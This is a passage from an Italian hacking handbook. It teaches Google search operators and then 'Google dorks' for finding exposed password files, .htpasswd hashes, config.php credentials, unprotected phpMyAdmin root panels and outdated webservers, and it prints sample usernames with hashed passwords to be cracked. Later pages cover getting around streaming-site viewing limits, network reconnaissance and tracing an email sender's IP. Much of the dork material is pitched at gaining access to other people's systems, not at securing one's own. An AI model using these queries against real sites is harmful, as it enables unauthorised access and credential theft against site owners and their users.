• AND : Inserendo tra le due parole che cerchiamo , l’operatore AND, google ci darà i risultati che comprendano le parole da noi cercate in una qualsiasi parte del testo. Es: se cerchiamo “sole Luna” (che corrisponderebbe a “sole

Page 33: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

33

and luna”) avremo come risultati tutti i siti che comprendono le parole”sole” e “luna” sia nell’url che nel testo.

• OR: Con l’operatore OR avremo un diverso risultato. Infatti se inseriamo nella barra di rierca “Sole OR Luna” , i risultati a-vranno o siti con la parola” sole” o siti con la parola “luna”.Quindi saranno mostrati tutti i siti con almeno una delle parole da voi cercate.

• - (meno) : Con questo segno messo prima del termine da cerca-re, diciamo al motore di ricerca di non cercare quella parola. Es: se vogliamo cercare sole senza 24 ore, basta inserire nella casella di ricerca “Sole -24″ ed avremo come risultato una ri-cerca con “sole” ma senza “24 ore”.

• + (piu’) : Questo è un operatore abbastanza importante. Infatti molte parole comuni , avverbi, parole con accento ed articoli, vengono automaticamente non inclusi nella ricerca da google (vengono ignorati) in quanto sono troppo comuni e potrebbero non facilitare la ricerca. Se invece dobbiamo cercare una frase o una parola proprio con un accento o con un avverbio? Niente di più facile. Basta inserire prima della parola che cer-chiamo il simbolo “+” cosi’ che google ricercherà anche quella parola.

• * (asterisco): L’asterisco è un operatore speciale che ci agge-vola nella ricerca. Infatti se cerchiamo la parola “attrav*” (con asterisco finale) , avremo come risultati la parola “Atrrav” stessa e i suoi composti, come ad esempio, attraversare, attra-versamento, attraversato etc…

• “” (virgolette): Le virgolette hanno anch’esse grandissima im-portanza per la ricerca. Quindi se vogliamo ricercare una frase cosi’ come la scriviamo, la metteremo tra virgolette e google la cercherà esattamente come è stata scritt (solitamente divide i termini e cerca qualsiasi corrispondenza).

Operatori Avanzati (Uso OPERATORE: STRINGA)

• SITE: Il primo operatore che andiamo ad analizzare è SITE. Con questo operatore possiamo cercare una parola o una frase all’interno di una categoria di siti, di un sito unico, o di un sito di un dato linguaggio.Es I :Possiamo cercare una parola solo nei siti italiani o inglesi mettendo nella casella di ricerca “Barry White site:it” o “Barry White site:uk” , per effettuare la ricerca sui siti inglesi. Ovviamente la ricerca la possiamo e-

Page 34: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

34

stendere a tutti i siti di una qualsiasi nazionalità e possiamo an-che ricercare il tutto all’interno di un unico sito.Es II :Possiamo cercare una parola all’interno di un sito unico. Ad esempio con la stringa “maradona site:www.ansa.it” ricerche-remo la parola maradona all’interno del sito ansa.

• LINK: Con l’operatore LINK possiamo ricercare tutti i siti che contengono un link al collegamento da noi scritto nella casella di ricerca.Es: “link:www.ansa.it” ci darà tutti i siti che hanno un collegamen-to con il sito ansa.

• RELATED: Con RELATED possiamo cercare un indirizzo url simile a quello che noi inseriamo nel campo di ricerca.Es: “related:www.ansa.it” ci darà risultati simili alla nostra ricerca.

• INURL: Seguito da uno o più termini ci fa ottenere una serie di risultati che includono il primo termine da noi cercato nell’URL delle pagine e gli altri termini sia nell’URL che nel testo del sito trovato.Es: “inurl: ansa maradona” troverà tutte le pagine che nell’url (indirizzo) avranno la parola “ANSA” e nel testo della pagina ed anche nell’URL stessa , la parola “maradona”.

• ALLINURL: Con questo operatore, invece, avremo tutte le parole da noi cercate all’interno dell’URL. Quindi non più nel testo dei siti creati, ma solo nel loro URL (indirizzo).

• INTITLE: Cercado uno o più termini con questo operatore, avremo come risultati , la prima parola da noi cercata nel titolo della pagina URL dataci come risultato e il resto delle parole cercate sia nel titolo che nel testo

• ALLINTITLE: Invece, inserendo questo operatore prima delle parole da cercare, avremo come risultato della ricerca solo link che hanno le parole da noi cercate nel titolo della pagina url.

• CACHE: Con questa funzione, noi possiamo cercare solo le pagine web della cache di google (sarebbero le pagine web salvate da google per l’indicizzazione del sito, la cache viene aggiornata massimo una volta al mese)

• INFO:Con questa semplice funzione possiamo cercare info ri-guardanti il sito che inseriamo nella casella di ricerca.

• FILETYPE: Quest’ultimo operatore ci fa cercare una determi-nata estenzione. Possiamo trovare un file di qualsiasi tipo. O-peratore importantissimo e fondamentale.

Questi operatori ci permetteranno di scoprire falle su webserver, di accedere a fi-le di password , di avere informazioni su una macchina (pc) e tanto altro ancora. Andiamo direttamente a vedere come sfruttare questi comandi :

Page 35: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

35

Introduzione alla parte pratica (hacking) Il google hacking è formato prevalentamente da quelle che vengono chiamate “GoogleDorks”. Cosa sono? sono le stringhe di ricerca che ci permettono di ef-fettuare hacking grazie a google. Grazie ad una serie di combinazioni tra gli operatori semplici ed avanzati è pos-sibile creare particolari stringhe in grado di trovare informazioni sensibili, di so-lito nascoste all’utenza comune. Alla base del google hacking come ho detto prima, si trovano gli operatori sem-plici ed avanzati. Per prima cosa andiamo ad analizzare l’url di risposta ad una .nostra ricerca, ricavandone alcune spiegazioni.

Apriamo il nostro google e cerchiamo sole mare , avviamo la ricerca e l’url del risultato sarà la seguente.

La freccia indica l’URL di risposta al comando di ricerca. Andiamo ad analizzar-lo.

http://www.google.it/search?hl=it&q=sole+mare&btnG=Cerca+con+Google&meta= search = è il comando che google effettua per la ricerca hl = il linguaggio nativo dei risultati che in questo caso è quello italiano (hl=it) q = è la query di ricerca inserita dall’utente (sole mare)

google Hacking: Pratica (I) Eccoci arrivati alla parte interessante di questa prima parte relativa al google ha-ckin: la pratica.

Page 36: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

36

Ricavare informazioni sensibili su un dato sito La prima cosa che possiamo fare con un motore di ricerca come questo, è quello di cercare all’interno di un sito un dato file, una data cartella, un dato testo o una qualsiasi cosa ci possa interessare utilizzando gli operatori avanzati. Il primo esempio che possiamo fare è quello di ricercare tutto quello che c’è su un sito. Es: cerchiamo “Site: unina.it “ Avremo come risultato , una ricerca di tutte le pagine presenti su google del sito UNINA.IT. Adesso, proviamo a ricercare un tipo di file su questo sito. Modificando ulteriormente la stringa con :

Site: unina.it filetype:doc

avremo come risultato i file doc presenti nel sito unina.it

Ovviamente questo ci fa pensare, in quanto se modifichiamo le parole della ri-cerca possiamo cercare all’interno di un sito un determinato file (che può conte-nere password o informazioni riservate). Es: Supponiamo di prendere in considerazione i siti provenienti dall’italia e cer-chiamo i file .pwd (file di password tipicamente di windows):

site:it filetype:pwd

Ci ritroveremo un risultato impressionante di siti che danno libero accesso ai

loro FILE DI PASSWORD !!

Page 37: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

37

I File con estensione .pwd sono nel formato “nomeutente:password” dove la password è cripatata. Anche se è protetta la possiamo lo stesso cracckare con dei tool da sempre presenti su internet. Ma di questo ne parleremo in seguito. Ov-viamente la ricerca la possiamo estendere ai siti di tutte le nazionalità inserendo dopo l’operatore site un uk, jp, com, it, net, gov etc… Oltre a trovare un determinato tipo di file (in questo caso abbiamo fatto un e-sempio con i file PWD, contenenti informazioni riservate su nomi utente e password), possiamo trovare anche interi listati di cartelle con una particolare stringa. Spesso un amministratore inserisce questo tipo di listati pubblicamente per gli utenti, in modo tale che questi possano navigare facilmente all’interno delle cartelle scelte dall’amministratore. Purtroppo spesso molti amministratori dimenicano di settare bene i permessi ad alcune cartelle e un attaccante può facilmente trovare intere cartelle riservate, magari che contengono password o database con informazioni sensibili. Una possibile stringa è la seguente:

intitle:index.of “parent directory” Questa stringa non è pericolosa, ma mostra solamente il contenuto di alcune directory di nome “index of” che spesso vengono lasciate non protette proprio per la loro non pericolosità o servono per il funzionamento del sito stesso.

Ma (c’è sempre un MA) fancendo una piccola modifica alla nostra stringa e cer-cando al posto di “Index.of” , ” Index.of etc”, avremo come risultato una lista di directory contenenti file importanti , come password criptate.

intitle:index.of etc Le Cartelle che abbiamo cercato con google sono cartelle di solito tenute nasco-ste al pubblico in quanto contengono informazioni sensibili a cui un normale u-ser non potrebbe accedere. Con questa ricerca e cercando il file password all’interno della cartella seleziona-ta, ci troveremo alcune password criptate. Solitamente i file password che tro-viamo all’interno di queste cartelle non sono quelli veri, ma servono solo per de-pistare la persona che sta provando ad accedervi.

Come localizzare Server , webserver e Server Vulnerabili Abbiamo appena visto come è possibile tramite la ricerca delle directory, riuscire a risalire a dei file importantissimi del sistema (di questo parleremo anche dopo). Ovviamente possiamo cambiare la stringa con un tipo di webserver o con una

Page 38: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

38

qualunque parola noi vogliamo, ad esempio possiamo cercare tutte le directory che abbiano per nome “Mp3”. In questo caso scriveremo: intitle:”index.of Mp3” intitle:”index of Mp3” intitle:”index of” Mp3 Ci sono tanti altri modi per cercare una determinata cartella. Ricorcate che se volete cercare una cartella specifica o una qualsiasi cosa su di un sito specifico, basta aggiungere site:www.sito.com alla fine della combina-zione di operatori. Possiamo ancora tramite la ricerca delle directory , trovare webserver particolari e vulnerabili. Infatti, se noi inseriamo nel nostro motore di ricerca la stringa:

intitle:index.of “Apache/1.3.0 Server at” il risultato sarà una serie si siti che usano questo tipo di webserver. Ovviamente possiamo fare questo tipo di richiesta per un qualsiasi tipo di web-server e/o di servizio. Questo succede in quanto spesso i siti che utilizzano alcuni tipi di webserver “stampano” il loro marchio nella directory web del sito stesso rendendo cosi’ facile la loro ricerca tramite l’operatore “Intitle”. Si può usare questo metodo per trovare siti e server che hanno una versione de-bole di un qualche webserver, e quindi sfruttare la falla per testare il sito e/o pe-netrarlo. Possiamo addirittura creare un programma che faccia questo in automa-tico. Per quanto riguarda il cercare siti (server) con determinati webserver, possiamo cercare questi anche con stringhe diverse, quali:

Apache 1.3.0 intitle:index.of “Apache/1.3.0 Server at” Apache 2.0 Intitle:Simple.page.for.Apache Apache.Hook.Functions Apache SSL/TLS Intitle:test.page “Hey, it worked !” “SSL/TLS-aware” Iss “Microsoft-IIS/* server at” intitle:index.of Iss 4.0 “Microsoft-IIS/4.0″ intitle:index.of Iss 5.0 “Microsoft-IIS/5.0 server at” Iss 6.0 “Microsoft-IIS/6.0″ intitle:index.of Questi sono solo alcuni importanti webserver che possiamo cercare, ovviamente se dobbiamo cercare un webserver vulnerabile inseriremo la versione che stiamo scegliendo Di seguito vi riporto alcuni webserver e le relative stringhe da inserire in google per trovarli.

Page 39: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

39

Matrix Appliance “Welcome to your domain web page” matrix Kwiki “Congratulations! You’ve created a new Kwiki website.” HP appliance sa1* intitle:”default domain page” “congratulations” “hp web”

Intel Netstructure “congratulations on choosing” intel netstructure

Generic Appliance “default web page” congratulations “hosting appliance” iPlanet / Many intitle:”web server, enterprise edition” Debian Apache intitle:”Welcome to Your New Home Page!” debian J2EE / Many intitle:”default j2ee home page” JWS / 1.0.3 – 2.0 allintitle:default home page java web server Resin / Many allintitle:Resin-Enterprise Default Home Page Resin / Enterprise allintitle:default home page java web server Jigsaw / Many intitle:”jigsaw overview” Jigsaw / 2.2.3 intitle:”jigsaw overview” “this is your” XAMPP XAMPP “inurl:xampp/index” Windows 2000 intitle:”Welcome to Windows 2000 Internet Services” OpenBSD “powered by openbsd” +”powered by apache” Red Hat Unix Administration intitle:”Page rev */*/*” inurl:”admin La ricerca dei server vulnerabile può essere effettuata anche cercando i manuali del webserver (che di solito possiamo trovare in una cartella del webserver stesso) , ad esempio per ricercare un webserver Apache, possiamo cercare:

inurl:manual apache directives modules

Cosi’ facendo , cercheremo il file di aiuto , le direttive del webserver e ci ritrove-remo con altri siti aventi Apache installato. Oltre a cercare i siti con l’operatore inurl, possiamo cercare il tutto anche con al-lintitle: ‘allinurl:iishelp core’ Cosi’ cercheremo i file aiuto di Iss. Questi sono solo alcuni esempi di come possiamo trovare con google svariati siti aventi un determinato tipo di webserver. Tra questi possiamo vedere anche pannelli di controllo e di amministrazione (come nel caso di Red Hat Unix Administration). Sono stati inseriri in quanto grazie a loro (ai pannelli di amm.) siamo in grado di capire che tipo di sistema gira su quelle macchine.

Page 40: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

40

Google Hacking e Guida all’uso – Parte seconda

In questa seconda parte invece, discuteremo dei seguenti argomenti:

1. Server e Siti Vulnerabili 2. Applicare Exploit e conoscenze a Google 3. Vari Exploit 4. Approfondimento alle GoogleDorks e una particolare lista che vi dimo-

strerà come accedere a delle password private.

Server e Siti vulerabili Grazie a Google siamo in grado di trovare una cascata di siti vulnerabil e di se-guito verranno trattati alcuni esempi. Se ad sempio dobbiamo trovare un sito che abbia PhpNuke Installato, possiamo inserire varie stringhe :

“Welcome to PHP-Nuke” congratulations

Cosi’ facendo cercheremo tutti i siti che hanno ancora la pagina iniziale di instal-laizone di phpNuke.Di solito questa pagina viene cancellata subito dopo l’installazione, ma molti administrator dimenticano la pagina sui server. (anche perchè forse, si scocciano di continuare a costruire il sito).

Scrivendo questo invece, avremo un’altra lunga lista di siti fatti in phpnuke.

inurl: “powered by PHP-Nuke”

Se vogliamo un login di phpmyadmin o cercare un phpmyadmin non protetto da password, possiamo scrivere: intitle:phpMyAdmin “Welcome to phpMyAdmin ***” “running on * as root@*” Con questa stringa siamo capaci invece di trovare siti che ospitano questo tipo di servizio per il controllo dei loro database. Però noi, non stiamo cercando sola-mente un login PhpMyAdmin, in quanto sarebbe bastato scrivere intit-le:phpMyAdmin “Welcome to phpMyAdmin” mentre noi abbiamo scritto anche “running on * as root@*”. Questo vuol dire che stiamo cercando anche tutti i siti che non hanno protetto il loro servizio con una password e che quindi ci danno l’accesso root.

Page 41: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

41

Vi elenco una piccola lista di GoogleDorks adatte per la ricerca dei server

“Powered by: vBulletin Version 1.1.5″ “Powered by Gallery v1.4.4″ “Online Store - Powered by ProductCart” “inurl:search.php vbulletin” “powered by openbsd” +”powered by apache” “intitle:”Page rev */*/*” inurl:”admin”

Ci sono svariati modi per prelevare password grazie a Google, ve ne ho dato lar-go esempio e potete sempre trovare altre stringhe e crearne delle nuove per testa-re la sicurezza del web. Di seguito vi elencherò’ una serie di opzioni da poter uti-lizzare nella ricerca password: intitle:”Index of” master.passwd Con questa ricerca avremo i file Master Password da poter leggere. Questi file sono di un importanza maggiore rispetto ad un file Passwd o Shadow in quanto contiene , appunto, le MASTER password, le chiavi di tutto il sito.

Spesso anche in questo file le password non saranno quelle vere. Le password dei Psy-Bnc filetype:conf inurl:psybnc.conf “USER.PASS=” Password criptate del famoso trillian intitle:”index of” trillian.ini Sempre per quanto riguarda le password abbiamo varie combinazioni da provare. Le password le possiamo trovare anche in archivi, in database, in file. Esempi: intitle:”Index of” “.htpasswd” htpasswd.bak Con questo , cercheremo la directory chiamata “.htpasswd” che contenga il file htpasswd.bak (file in cui possiamo trovare password criptate facilmente craccka-bili).Dopo la ricerca, avremo molti risultati e cliccando si qualcuno e cliccando ancora sul file Htpasswd, potremo avere davanti una lista simile: TWikiGuest: BartMassey: AndrewGreenberg: MickThomure:

Page 42: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

42

TedHavelka:hpf8d.jR4TSXY DonWolfe:A4Oex7qv2rF9w Nelle ultime due righe vediamo i nomiutente e le password in modo criptato. Come tutti ben sappiamo, moli servizi una volta installati presentano all’interno

della loro cartella di installazione un file chiamato “config.php”. Questo file , spesso e volentieri, contiene le password di accesso a siti, ad ftp,a database e a quanto altro possa servire il file in questione. Una strada veloce per ricercare questi file è la seguente: intitle:”Index of” config.php Come abbiamo visto anche in precedenza, noi siamo capaci di ricercare un dato file di password.Per quanto riguarda le password di Frontpage possiamo usare la seguente espressione: ext:pwd inurl:(service | authors | administrators | users) “# -FrontPage-”

Page 43: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

43

cosi’ andremo a ricercare i file password contenenti almeno uno di quei campi: La password(criptata) in questo caso è visibile anche senza aprire il file. Questo non è l’unico metodo per trovare le password di fronpage, ma è uno dei più velo-ci e validi, un alternativa sarebbe quella di cercare i file .pwd che spesso, sono associati a fronpage (in quanto estenzione password di windows, e pochi pro-grammi usano questo tipo di file, uno dei queli è fronpage). I metodi più semplici di ricerca password sono: inurl:passlist.txt inurl:password.txt inurl:pass.txt inurl:pwd.txt con questa stringa ricercheremo tutti i file .Txt (spesso qualcuno chiama il file delle password con questi semplici nomi, ingari del fatto che sono alla portata di tutti). Ovviamente le password le possiamo trovare anche in alcuni archivi (es: mdb). Quindi possiamo cercare alcuni file Mdb per trovare delle pwd nel loro inter-no.Possiamo cercare: allinurl: admin mdb inurl:admin.mdb filetype:mdb inurl:password filetype:mdb Per quanto riguarda i file contenenti password, questi possono essere trovati sempre grazie a Google.Infatti se noi sappiamo di un qualche file che contenga password lo possiamo ricercare attraverso questo magico motore di ricerca. Nel caso citato precedentemente, noi andiamo a ricercare file Mdb, ma possiamo be-nissimo cercare moltissimi tipi di fili, come quelli XLS (Excel), i quali possono contenere interi archivi di password (se siamo fortunati..mooolto fortunati). Non c’è limite nella ricerca di un qualsiasi file privato, basta solo sapere qual’è il file e ricercarlo, niente di più semplice. I File delle password li possiamo trovare anche in cartelle di backup che possia-

Page 44: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

44

mo ricercare cosi’: inurl:backup intitle:index.of inurl:admin Approfondimento alle GoogleDorks Eccovi una lista di GoogleDorks allinurl: admin mdb (Password all’interno di file MDB) inurl:admin.mdb filetype:mdb (Password all’interno di file MDB) inurl:password filetype:mdb (Password all’interno di file MDB) inurl:passlist.txt (Password all’interno di file di testo) inurl:password.txt (Password all’interno di file di testo) inurl:pass.txt (Password all’interno di file di testo) inurl:pwd.txt (Password all’interno di file di testo) “login: *” “password= *” filetype:xls (Password in file XLS) intitle:”Index of” spwd.db passwd -pam.conf (Password nei file conf e db) inurl:config.php dbuname dbpass (file di configurazione di un database da php)

Scaricare video Collegarsi al sito http://7tv.org/ , scegliere il genere oppure cliccare su “lista film” per vederli tutti, volendo in alto a destra inserire il titolo e poi Search. Una volta trovato il film possiamo vederlo o scaricarlo. Viene chiesta una password che è sempre la stessa: www.7tv.org Eseguire il download standard ed aspettare che il conteggio arrivi a 0, poi scegliere di salvare il file. MEGAVIDEO : On-line non esistono limiti Inserire il link al video nel sito giusto e il limite di visualizzazione Megavideo scomparirà in un lampo! Ma occhio a non sbagliare. La fastidiosa pubblicità è sempre dietro l'angolo. 1) Copiamo il link e salutiamo i limiti. Una volta raggiunto il limite di Megavi-deo, copiamo il link del video che vogliamo vedere e nella barra degli indirizzi digitiamo www.megastreaming.org In basso nella pagina in Enter the Megavi-deoURL incolliamo il link del video e poi clicchiamo su Play.

Page 45: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

45

2) Occhio alla pubblicità.. .Anche qui dovremo cliccare sul tasto Play e si aprirà una pagina pubblicitaria in una nuova finestra. Chiudiamola senza esitazione e torniamo alla pagina di Megastreaming, clicchiamo sul tasto PlayVerde e ci ri-troveremo davanti il video con l'interfaccia di Megavideo! Video no limits : sia su Megavideo che su YouTube vengono posti dei limi-ti o sulla durata (70 min.) oppure un ritardo sulla fruizione. Basta un plug-in di Firefox per riuscire a battere i limiti. Avviamo Firefox e nella barra degli indiriz-zi digitiamo: https://addons.mozilla.org/it/firefox/addon/11037 o 11998, spun-tiamo Lasciami installare... Clicchiamo su Aggiungi a Firefox e poi su Installa. Non riavviamo il browser ma installiamo un altro plug-in per eliminare i pop-up https://addons.mozilla.org/firefox/addon/1865 una volta installato avviare il browser. Per fare in modo che il plug-in blocchi la pubblicità dovremo sottoscri-vere una lista che aggiornerà il sistema di blocco. Si apre una finestra, lasciamo selezionata la prima lista e poi clicchiamo su sottoscrivi. Scegliamo il video da vedere su www.megavideo.com in basso a destra apparirà una finestrella di Illi-mitux , clicchiamo sul pulsante rimuovi limite e, dopo pochi secondi, saremo in-dirizzati alla pagina in cui il video potrà essere visualizzato. Scarica tutto da Megavideo Si può fare in manuale,ma in automatico è meglio!Per scaricare i filmati da Me-gavideo esistono diverse risorse, sia on-line tramite dei siti web che "grabbano" il file video per poi consentirci di scaricarlo. Sia con dei programmi specifici: in particolare JDownloader o factotum del file hosting, dalle sue ultime versioni consente di scaricare anche i video dai siti di video hosting come YouTube, Vi-meo e Megavideo.Ma non sarebbe più semplice di tutto ciò avere un tasto do-wnload, direttamente nella pagina del video, e con un clic riuscire a scaricare il filmato? Per ottenere davvero un "onclic download" possiamo utilizzare Firefox accoppiata con il sempre più utile Gresemonkey e un piccolo script, con questa combinazione potremo scaricare i video in un lampo e avere informazioni anche sulla durata e la dimensione del file senza doverlo riprodurre. A Con Firefox è tutto semplice! Avviamo Firefox e dall'indirizzo: https://addons.mozilla.org/it/firefox/addon/748 installiamo Greasemonkey cliccando su Aggiungi a Firefox. Quindi riavviamo il browser e verifichiamo che in basso a destra vi sia una faccina di scimmietta. Adesso non resta che trovare lo script giusto,andiamo su userscripts.org e nel campo di ricerca in alto inseriamo Megavideo Link FLV e premiamo Invio. Clicchiamo sul nome dello script, poi su Install e quindi su Installa per "aggiun-gerlo" a Greasemonkey.Con un clic il video sull'hard disk: Digitiamo www.megavideo.com nella barra degli indirizzi di Firefox e selezioniamo il vi-deo da scaricare. In basso a destra apparirà una barra con il tastoDownload: clic-chiamoci sopra e poi su salva per salvare il filmato in formato FLV sul PC.

Page 46: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

46

TubeMaster++ Ecco come scaricare sul disco fisso del proprio PC il meglio dei contenuti

multimediali disponibili su Internet.

Installiamo il software, ci verrà chiesto di installare WinPcap, clicchiamo su next e poi finish. Terminato WinPcap parte l’installazione di Java.Se usiamo Vista o Windows7 per avviare il programma clic destro: Esegui come amministratore. Un video tutto da registrare Andiamo in Options. Da Application Language selezioniamo Italiano e in Default media output folder la cartella del PC che con-terrà i file salvati. Riavviamo TubeMaster++ (Passo 2). Lasciamo aperta la fine-stra del programma, puntiamo il browser su un sito di video on-line, www.vimeo.com, e riproduciamo il filmato che preferiamo.

Si parte per la cattura!

TubeMaster++ inizierà a registrare. Al termine, nella finestra di TubeMaster++ compare il video scaricato. Per rinominarlo, dicchiamo su untitled_X (dove X è il numero progressivo), digitiamo un nome a nostro piacimento e premiamo il pulsante Invio. Un salvataggio per un video Per memorizzare il filmato dicchiamo Salva il vi-deo: lo troveremo nella carella specificata . Se desideriamo esportarlo in un altro formato, trasciniamolo nella finestra di TubeMaster++ e dicchiamo Converti il file, scegliamo il dispositivo di destinazione e attendiamo il completamento della procedura.

Page 47: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

47

Freegate per vedere justin.tv il calcio e il grande fratello senza

limiti. Freegate è un programmino gratuito che non necessita di installazione e sfrutta un sofisticato Proxy anti-censura aggirando quindi il limite di Justin.tv.

Estraete il file fg680f.exe contenuto nell’archivio zip ed eseguitelo.

IMPORTANTE! Se il programma vi chiede di aggiornarlo non fatelo! Quindi se vi esce il messaggio ” A new version of Freegate is available. Would you

like to upgrade?” cliccate ” NO”. Questa è l’unica verisone funzionante per noi.

Una volta eseguito il programma, vi si aprirà automaticamente Internet E-

xplorer se ce l’avete, con già le impostazioni proxy settate correttamente. Quindi avrete diverse possibilità per vedere Justin.tv senza limiti.

1. Con Internet Explorer

Freegate aprirà automaticamente Internet Explorer e vi si aprirà una pagina come quella qui sotto. Vi basterà inserire l’indirizzo del sito dove c’è il player

di Justin.tv per vederlo senza blocchi.

. L’indirizzo a cui viene mandato è questo: http://127.0.0.1:8580/loc/phome.php?v=6.86&l=409 non serve che lo impostate a mano, perchè Freegate provvede a lanciarlo in automatico, e con indirizzi che risultano diversi da versione a versione.

Page 48: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

48

2. Con Mozilla Firefox

Per questo browser dovrete settare manualmente l’indirizzo proxy per far funzionare il programma. Quindi sulla barra dei menù cliccate su Strumen-

ti > Opzioni e recatevi nella scheda Avanzate > Rete come potete vedere nell’immagine qui sotto.

Cliccate su Impostazioni. Poi cliccate su ” Configurazione Manuale del

proxy”. Nel campo ” Proxy HTTP” inserite : 127.0.0.1 , nella “porta” il valo-re: 8580 , e spuntate ” utilizza lo stesso proxy per tutti i protocolli“. Guardate l’immagine qui sotto per vedere come settare le impostazioni. Cliccate ok e po-trete navigare tranquillamente su internet e vedere Justin.tv senza blocchi!

Page 49: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

49

IMPORTANTE! L’indirizzo proxy rimane memorizzato nel browser, quindi una volta che avete finito di vedere Justin.tv e avete chiuso il programma Free-gate, dovete ritornare nella scheda Proxy e spuntare la casella ” Nessun

proxy”.

3. Con safari

Come per Internet Explorer, Freegate setta il proxy automaticamente anche

per Safari, quindi non bisogna modificare nessuna impostazione per questo browser.

CONSIGLIO ( non testato): Freegate utilizza un proxy quindi la connessione

sarà più lenta della vostra, quindi vi consiglio di chiudere il programma e to-gliere il proxy una volta che è partito lo streaming, in tal modo rimarrete collega-

ti senza limiti e la vostra connessione sarà più veloce.

Page 50: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

50

TECNICHE PER INTRODURSI IN UNA RETE RETE

Raccolta dati Comando TraceRoute

Sistema DNS

Protocollo Whois

Comando Ping

La raccolta di det-

tagli sulla tipologia

della rete da attac-

care, avviene esami-

nano la tabella di

instradamento di un

router non protetto.

Viene utilizzato il

protocollo SNMP

(Simple Network

Management Proto-

col), cioè un proto-

collo di gestione di

apparati di rete ap-

partenenti

all’architettura

TCP/IP.

Il comando “TraceRou-

te” permette di rilevare

il numero di reti inter-

medie e i router incon-

trati nel percorso fino ad

un host specifico.

Il protocollo Whois

è un servizio di in-

formazione che

può acquisire dati

su tutto il dominio

DNS e

sugli amministra-

tori di sistema re-

sponsabili di cia-

scun dominio.

Comando Finger

Il comando “Fin-

ger” può rilevare

informazioni par-

ticolareggiate su-

gli utenti di un

host specifico

(nomi login, nu-

meri di telefono,

durata dell’ultima

conessione…).

Il sistema DNS

può far accedere

ad un elenco di

indirizzi IP di

host ed il loro

nome corrispon-

dente.

Il comando “Ping” può

essere usato per loca-

lizzare un host partico-

lare e determinare la

sua

raggiungibilità. Questo

semplice strumento

può essere usato in un

programma di scan-

sione che

verifica la presenza

ondine di ogni possibi-

le host indirizzabile su

una rete costruendo un

elenco degli

host attualmente resi-

denti nella rete.

Page 51: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

51

Risalire all’indirizzo Ip di un’email

Risalire all’indirizzo Ip di un’email è relativamente semplice. Riuscire invece a scoprire la località geografica o l’identità dell’autore dell’email è decisamente più complicato. Vediamo come risalire all’indirizzo Ip di un’email analizzando gli header SMTP, consci del fatto che se l’autore ha utilizzato un proxy o un’altra infrastruttura di anonimizzazione come Tor, l’Ip rilevato sarà appunto quello utilizzato come “maschera”. Il procedimento si articola in due fasi: il recupero degli header dell’email l’analisi alla ricerca di un particolare campo, contenente l’informazione ricercata.

Recuperare gli header

Per prima cosa si apre il client di posta elettronica, client che può essere un pro-gramma stand-alone come Outlook o Thunderbird, oppure un’interfaccia we-bmail come Gmail o Hotmail. Le operazioni da compiere per recuperare gli header differiscono da client a client: ne presento due. In genere tutti gli altri client hanno funzioni analoghe che divergono solamente dalla terminologia adottata.

Con Outlook selezionate l’email di cui volete rivelare l’Ip del mittente, quindi tasto destro -> proprietà -> dettagli -> messaggio originale.

In Gmail andate in alto a destra sul menu rispondi Rispondi -> Mostra originale. In entrambi i casi vi troverete di fronte ad una lunga lista di righe dal contenuto apparentemente criptico.

Attenzione che non tutti i server SMTP permettono di lasciar vedere tutti gli he-ader

Analizzare gli header

Questi dati sono gli header SMTP. Contengono varie informazioni, sul mittente, il destinatario, i passaggi tra i vari server coinvolti nell’operazione di recapito, le date e le ore di queste operazioni. Tra questi campi uno in particolare ci interes-sa: il campo received.

Page 52: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

52

